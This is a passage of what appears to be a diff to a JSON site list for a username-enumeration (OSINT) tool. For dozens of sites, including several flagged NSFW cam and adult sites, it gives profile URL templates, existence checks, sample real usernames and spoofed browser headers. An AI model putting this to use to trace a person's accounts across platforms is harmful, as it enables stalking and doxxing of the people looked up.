10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.blogspot.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bongacams": { + "url": "https://pt.bongacams.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pt.bongacams.com/profile/%s", + "existUsername": "asuna-black", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pt.bongacams.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "bookcrossing": { + "url": "https://www.bookcrossing.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bookcrossing.com/mybookshelf/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bookcrossing.com/mybookshelf/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bravecommunity": { + "url": "https://community.brave.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.brave.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.brave.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "buymeacoffee": { + "url": "https://www.buymeacoffee.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://buymeacoff.ee/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://buymeacoff.ee/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "buzzfeed": { + "url": "https://buzzfeed.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://buzzfeed.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://buzzfeed.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cnet": { + "url": "https://www.cnet.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.cnet.com/profiles/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.cnet.com/profiles/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "ctan": { + "url": "https://ctan.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ctan.org/author/%s", + "existUsername": "briggs", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ctan.org/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "caddycommunity": { + "url": "https://caddy.community/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://caddy.community/u/%s/summary", + "existUsername": "taako_magnusen", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://caddy.community/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cartalkcommunity": { + "url": "https://community.cartalk.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cartalk.com/u/%s/summary", + "existUsername": "always_fixing", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cartalk.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "championat": { + "url": "https://www.championat.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.championat.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.championat.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "chaos": { + "url": "https://chaos.social/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaos.social/@%s", + "existUsername": "ordnung", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaos.social/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "chaturbate": { + "url": "https://chaturbate.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://chaturbate.com/%s", + "existUsername": "cute18cute", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://chaturbate.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "choicecommunity": { + "url": "https://choice.community/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://choice.community/u/%s/summary", + "existUsername": "gordon", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://choice.community/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "clapper": { + "url": "https://clapperapp.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://clapperapp.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://clapperapp.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cloudflarecommunity": { + "url": "https://community.cloudflare.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cloudflare.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cloudflare.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "clubhouse": { + "url": "https://www.clubhouse.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.clubhouse.com/@%s", + "existUsername": "waniathar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.clubhouse.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "codeforces": { + "url": "https://codeforces.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "solved for all time", + "url": "https://codeforces.com/profile/%s", + "existUsername": "tourist", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://codeforces.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IE" + } + }, + "codepen": { + "url": "https://codepen.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://codepen.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://codepen.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coderwall": { + "url": "https://coderwall.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://coderwall.com/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://coderwall.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "codewars": { + "url": "https://www.codewars.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.codewars.com/users/%s", + "existUsername": "example", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.codewars.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coinvote": { + "url": "https://coinvote.cc/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://coinvote.cc/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://coinvote.cc/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "colourlovers": { + "url": "https://www.colourlovers.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.colourlovers.com/lover/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.colourlovers.com/lover/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "coroflot": { + "url": "https://coroflot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.coroflot.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.coroflot.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "crevado": { + "url": "https://crevado.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.crevado.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.crevado.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "crowdin": { + "url": "https://crowdin.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://crowdin.com/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://crowdin.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cryptomatorforum": { + "url": "https://community.cryptomator.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.cryptomator.org/u/%s", + "existUsername": "michael", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.cryptomator.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "devcommunity": { + "url": "https://dev.to/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://dev.to/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dev.to/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dailymotion": { + "url": "https://www.dailymotion.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.dailymotion.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.dailymotion.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "deviantart": { + "url": "https://deviantart.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.deviantart.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.deviantart.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "discogs": { + "url": "https://www.discogs.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.discogs.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.discogs.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "discuss-elastic": { + "url": "https://discuss.elastic.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discuss.elastic.co/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discuss.elastic.co/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "disqus": { + "url": "https://disqus.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://disqus.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://disqus.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dockerhub": { + "url": "https://hub.docker.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hub.docker.com/v2/orgs/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hub.docker.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eintrachtfrankfurtforum": { + "url": "https://community.eintracht.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.eintracht.de/fans/%s", + "existUsername": "mmammu", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.eintracht.de/fans/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "envatoforum": { + "url": "https://forums.envato.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.envato.com/u/%s", + "existUsername": "enabled", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.envato.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "erome": { + "url": "https://www.erome.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.erome.com/%s", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.erome.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "etsy": { + "url": "https://www.etsy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.etsy.com/shop/%s", + "existUsername": "JennyKrafts", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.etsy.com/shop/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "exposure": { + "url": "https://exposure.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.exposure.co/", + "existUsername": "jonasjacobsson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.exposure.co/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "eyeem": { + "url": "https://www.eyeem.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.eyeem.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.eyeem.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "f3-cool": { + "url": "https://f3.cool/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://f3.cool/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://f3.cool/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "fameswap": { + "url": "https://fameswap.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fameswap.com/user/%s", + "existUsername": "fameswap", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fameswap.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "fandom": { + "url": "https://www.fandom.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.fandom.com/u/%s", + "existUsername": "Jungypoo", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.fandom.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "finanzfrage": { + "url": "https://www.finanzfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.finanzfrage.net/nutzer/%s", + "existUsername": "finanzfrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.finanzfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "flickr": { + "url": "https://www.flickr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.flickr.com/people/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.flickr.com/people/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "flightradar24": { + "url": "https://www.flightradar24.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://my.flightradar24.com/%s", + "existUsername": "jebbrooks", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://my.flightradar24.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "flipboard": { + "url": "https://flipboard.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://flipboard.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://flipboard.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "fortnitetracker": { + "url": "https://fortnitetracker.com/challenges", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fortnitetracker.com/profile/all/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fortnitetracker.com/profile/all/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "fosstodon": { + "url": "https://fosstodon.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fosstodon.org/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fosstodon.org/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "freesound": { + "url": "https://freesound.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://freesound.org/people/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://freesound.org/people/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "gamespot": { + "url": "https://www.gamespot.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gamespot.com/profile/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gamespot.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "genius-artists": { + "url": "https://genius.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://genius.com/artists/%s", + "existUsername": "genius", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://genius.com/artists/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "genius-users": { + "url": "https://genius.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://genius.com/%s", + "existUsername": "genius", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://genius.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "gesundheitsfrage": { + "url": "https://www.gesundheitsfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gesundheitsfrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 